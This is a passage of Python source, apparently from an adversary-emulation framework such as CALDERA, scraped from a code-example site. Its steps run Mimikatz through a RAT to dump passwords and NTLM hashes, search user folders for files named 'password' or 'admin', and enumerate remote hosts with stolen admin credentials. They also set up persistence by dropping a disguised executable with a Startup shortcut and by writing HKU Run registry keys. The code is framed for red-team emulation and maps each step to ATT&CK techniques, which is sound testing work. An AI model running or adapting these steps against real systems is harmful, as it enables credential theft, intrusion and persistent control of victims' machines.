                                           sekurlsa_logonpasswords(),
                                           mimi_exit())

        accounts = await operation.execute_powershell(
            rat, "powerkatz",
            PSFunction("Invoke-Mimikatz",
                       PSArg("Command", mimikatz_command.command)),
            parsers.mimikatz.sekurlsa_logonpasswords_condensed)

        for account in accounts:
            user_obj = {
                'username': account['Username'].lower(),
                'is_group': False
            }
            credential_obj = {}
            if 'Password' in account:
                credential_obj['password'] = account['Password']

            if 'NTLM' in account:
                credential_obj["hash"] = account['NTLM']

            # if the domain is not the hostname, this is a Domain account
            if account['Domain'].lower() != host.hostname.lower():
                domain = await domain_g(
                    {'windows_domain': account['Domain'].lower()})
                user_obj['domain'] = domain
            else:
                user_obj['host'] = host

            credential_obj['found_on_host'] = host

            user = await user_g(user_obj)
            credential_obj['user'] = user
            await credential_g(credential_obj)

        return True
Пример #17
0
class DirListCollection(Step):
    """
    Description:
        This step enumerates files on the target machine. Specifically, it looks for files with 'password' or
        'admin' in the name.
    Requirements:
        This step only requires the existence of a RAT on a host in order to run.
    """
    attack_mapping = [("T1005", "Collection"), ("T1083", "Discovery"),
                      ('T1106', 'Execution')]
    display_name = "list_files"
    summary = "Enumerate files locally with a for loop and the dir command recursively"

    preconditions = [('rat', OPRat), ('host', OPHost(OPVar("rat.host")))]

    postconditions = [('file_g',
                       OPFile({
                           'use_case': 'collect',
                           'host': OPVar("host")
                       }))]

    significant_parameters = ['host'
                              ]  # no need to do this more than once per host

    postproperties = ['file_g.path']

    @staticmethod
    def description(rat, host):
        return "Using cmd to recursively look for files to collect on {}".format(
            host.hostname)

    @staticmethod
    async def simulate(operation, rat, host, file_g):
        return True

    @staticmethod
    async def action(operation, rat, host, file_g):
        # dir path\*word1* /s /b /a-d
        # for now, hard coded list of words we're interested in in file names
        # for now, hard coded list of paths to check for these files
        keywords = operation.adversary_artifactlist.get_targets()
        if "system" in rat.username:
            keypaths = ["C:\\Users\\"]
        else:
            keypaths = ['C:\\Users\\' + rat.username.split("\\")[1] + "\\"]

        for path in keypaths:
            for word in keywords:
                try:
                    # if the b,s, and a flags change on this command, be sure to implement a new parser!
                    files = await operation.execute_shell_command(
                        rat,
                        *cmd.dir_list(search=path + "*" + word + "*",
                                      b=True,
                                      s=True,
                                      a="-d"))
                    for file in files:
                        await file_g({'path': file})
                except FileNotFoundError:
                    # the path was invalid, the file wasn't found, or access denied, so move on
                    continue

        return True
Пример #18
0
class SysteminfoRemote(Step):
    """
    Description:
        This step enumerates a target machine located remotely on a network.
    Requirements:
        Requires enumeration of the target host, credentials for an administrator on the target host (needs both
        administrator enumeration 'GetAdmin', and credential data 'Credentials'), and domain enumeration.
    """
    attack_mapping = [("T1082", "Discovery"), ('T1106', 'Execution')]
    display_name = "systeminfo(remote)"
    summary = "Use systeminfo.exe to enumerate a remote system"

    preconditions = [
        ('rat', OPRat), ('host', OPHost(OPVar('rat.host'))),
        ('dest_host', OPHost),
        ("cred", OPCredential({'$in': {
            'user': OPVar("dest_host.admins")
        }})), ('user', OPUser(OPVar("cred.user"))),
        ('domain', OPDomain(OPVar("user.domain")))
    ]
    postconditions = [('host_g', OPHost), ("domain_g", OPDomain),
                      ('os_version_g', OPOSVersion)]

    postproperties = [
        'host_g.hostname', 'host_g.dns_domain_name', 'host_g.fqdn',
        'domain_g.windows_domain', 'domain_g.dns_domain', 'host_g.systeminfo',
        'host_g.os_version'
    ]

    not_equal = [('dest_host', 'rat.host')]

    significant_parameters = ['dest_host']

    @staticmethod
    def description(rat, host, dest_host):
        return "Using systeminfo.exe to remotely enumerate {}".format(
            dest_host.hostname)

    @staticmethod
    async def simulate(operation, rat, host, dest_host, cred, user, domain,
                       host_g, domain_g, os_version_g):
        return True

    @staticmethod
    async def action(operation, rat, host, dest_host, cred, user, domain,
                     host_g, domain_g, os_version_g):
        info = await operation.execute_shell_command(
            rat,
            *systeminfo.csv(remote_host=dest_host.fqdn,
                            user_domain=domain.windows_domain,
                            user=user.username,
                            password=cred.password))

        # Domain info  -- kind of redundant to leave this in for the remote technique.
        await domain_g({
            'windows_domain': info['Domain'].split('.')[0],
            'dns_domain': info['Domain']
        })

        # Add info about our current host. If we need more host information pulled with systeminfo in the future add it
        # here.
        host_fqdn = '.'.join([info['Host Name'], info['Domain']]).lower()
        os_version = await os_version_g({**info['parsed_version_info']})
        await host_g({
            'hostname': info['Host Name'].lower(),
            'dns_domain_name': info['Domain'],
            'fqdn': host_fqdn,
            'system_info': info['_original_text'],
            'os_version': os_version
        })

        # If the RAT is running in a Domain user's context we can find a DC with this (does nothing if we're SYSTEM):
        if info['Logon Server'] != 'N/A':
            logon_server_fqdn = '.'.join(
                [info['Logon Server'].strip('\\\\'), info['Domain']]).lower()
            await host_g({
                'fqdn': logon_server_fqdn,
                'hostname': info['Logon Server'].strip('\\\\').lower(),
                'dns_domain_name': info['Domain']
            })

        return True
Пример #19
0
class Modify_Shortcut(Step):
    """
    Description:
        This step attempts to obtain persistence by creating and manipulating a shortcut in the
        Windows startup folder.
    Requirements:
        Requires an elevated rat on the target machine.
    """
    attack_mapping = [('T1023', 'Persistence')]
    display_name = "shortcut_modify"
    summary = "Modifies a startup shortcut in order to maintain persistence"

    preconditions = [("rat", OPRat({"elevated": True})),
                     ("host", OPHost(OPVar("rat.host")))]
    postconditions = [("file_g", OPFile),
                      ("persistence_g",
                       OPPersistence({
                           "host": OPVar("host"),
                           "elevated": True
                       }))]

    preproperties = ["rat.host.fqdn"]

    significant_parameters = []

    @staticmethod
    def description():
        return "Installing startup shortcut for persistence"

    @staticmethod
    async def simulate(operation, rat, host, persistence_g, file_g):
        return True

    @staticmethod
    async def action(operation, rat, host, persistence_g, file_g):
        target_path = "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\caldera.lnk"
        rat_loc = "C:\\totally_innocent_executable_seal.exe"
        await operation.drop_file(rat, rat_loc, config.settings.exe_rat_path)
        await operation.execute_shell_command(
            rat, *static.shortcutmodify(target_path, rat_loc))
        ret = await file_g({
            'path': target_path,
            'host': rat.host,
            'use_case': 'dropped'
        })
        await persistence_g({'host': rat.host, 'shortcut_artifact': ret})
        await file_g({
            'path': target_path,
            'host': rat.host,
            'use_case': 'dropped'
        })
        await file_g({
            'path': rat_loc,
            'host': rat.host,
            'use_case': 'dropped'
        })
        return True

    @staticmethod
    async def cleanup(cleaner, file_g):
        for entry in file_g:
            await cleaner.delete(entry)
Пример #20
0
class HKURunKeyPersist(Step):
    """
    Description:
        This step creates an entry in the registry under HKU\\<sid>\\Software\\Microsoft\\windows\\CurrentVersion\\Run
        in order to maintain persistence. This results in the RAT being executed whenever a targeted user logs on.
    Requirements:
        Requires enumeration of local profiles on the target machine (done using GetLocalProfiles), and an
        elevated RAT.
    """
    attack_mapping = [('T1060', 'Persistence'), ('T1106', 'Execution')]
    display_name = "hku_runkey_persist"
    summary = (
        "Use reg.exe to gain persistence by inserting run key values into local user profiles. This will cause "
        "the rat to be executed when any of the affected users logs on")

    preconditions = [("rat", OPRat({"elevated": True})),
                     ("host", OPHost(OPVar("rat.host"))),
                     ("user", OPUser({'$in': OPVar("host.local_profiles")}))]

    postconditions = [("regkey_g", OPRegKey({"host": OPVar("host")})),
                      ("persist_g",
                       OPPersistence({
                           "host": OPVar("host"),
                           "user_context": OPVar("user"),
                           "elevated": False
                       }))]

    significant_parameters = ["user", "host"]

    postproperties = [
        "persist_g.regkey_artifact", "regkey_g.key", "regkey_g.value",
        "regkey_g.data"
    ]

    @staticmethod
    def description(rat, host, user):
        return "Attempting to create a run key on {} for {}".format(
            host.hostname, user.username)

    @staticmethod
    async def simulate(operation, rat, host, user, regkey_g, persist_g):
        return True

    @staticmethod
    async def action(operation, rat, host, user, regkey_g, persist_g):
        value = "caldera"
        data = rat.executable

        u_profile_path = "C:\\Users\\{}\\ntuser.dat".format(
            user.username)  # Assumption: this is where profile path is.
        # TODO: save this info in db during GetLocalProfiles
        u_key = "HKU\\{}".format(user.sid)

        #  Check if user's SID is already in HKU
        key_loaded = False
        relative_key = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
        run_key = u_key + "\\" + relative_key
        loaded = False
        while not loaded:
            try:
                await operation.execute_shell_command(
                    rat,
                    *reg.add(key=run_key, value=value, data=data, force=True))
                loaded = True
            except IncorrectParameterError:  # Load user into HKU
                try:
                    await operation.execute_shell_command(
                        rat, *reg.load(key=u_key, file=u_profile_path))
                    key_loaded = True
                except FileInUseError:
                    log.warning("The hive could not be loaded.")
                    return False

        if key_loaded:  # Unload key (if a key was loaded earlier)
            await operation.execute_shell_command(
                rat, *reg.unload(key=u_key.format(user.sid)))
            regkey = await regkey_g({
                'host': host,
                'key': relative_key,
                'value': value,
                'data': data,
                'path_to_file': u_profile_path
            })
        else:
            regkey = await regkey_g({
                'key': run_key,
                'value': value,
                'data': data
            })

        await persist_g({'regkey_artifact': regkey})

        return True

    @staticmethod
    async def cleanup(cleaner, regkey_g):
        for regkey in regkey_g:
            await cleaner.delete(regkey)